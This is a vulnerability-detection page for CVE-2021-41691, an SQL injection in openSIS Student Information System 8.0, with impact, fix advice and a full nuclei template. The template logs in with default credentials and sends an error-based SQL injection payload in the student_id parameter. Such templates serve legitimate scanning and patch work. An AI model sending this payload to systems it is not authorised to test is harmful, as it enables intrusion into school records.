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CVE-2021-41691

openSIS Student Information System 8.0 SQL Injection

highseverity
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

openSIS Student Information System version 8.0 is susceptible to SQL injection via the student_id and TRANSFER[SCHOOL] parameters in POST request sent to /TransferredOutModal.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Apply the latest security patch or upgrade to a patched version of openSIS Student Information System to mitigate the SQL Injection vulnerability (CVE-2021-41691).

How to confirm it

Send: POST /index.php ; POST /TransferredOutModal.php?modfunc=detail
Positive when: contains(body_2, "<!-- SQL STATEMENT:") && contains(body_2, "SELECT COUNT(STUDENT_ID)") and status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2021-41691 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-41691

info:
  name: openSIS Student Information System 8.0 SQL Injection
  author: Bartu Utku SARP
  severity: high
  description: openSIS Student Information System version 8.0 is susceptible to SQL injection via the student_id and TRANSFER[SCHOOL] parameters in POST request sent to /TransferredOutModal.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of openSIS Student Information System to mitigate the SQL Injection vulnerability (CVE-2021-41691).
  reference:
    - https://securityforeveryone.com/blog/opensis-student-information-system-0-day-vulnerability-cve-2021-41691
    - https://www.exploit-db.com/exploits/50637
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4169
  classification:
    cve-id: CVE-2021-41691
    epss-score: 0.02071
    epss-percentile: 0.81593
  metadata:
    max-request: 2
  tags: cve,cve2021,sqli,auth,edb,opensis,vkev,vuln
variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        USERNAME={{username}}&PASSWORD={{password}}&language=en&log=
      - |
        POST /TransferredOutModal.php?modfunc=detail HTTP/1.1
        Host: {{Hostname}}
        Origin: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        student_id=updatexml(0x23,concat(1,md5({{num}})),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5

    attack: pitchfork
    payloads:
      username:
        - student
      password:
        - student@123
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "<!-- SQL STATEMENT:") && contains(body_2, "SELECT COUNT(STUDENT_ID)")'
          - 'status_code_2 == 200'
        condition: and

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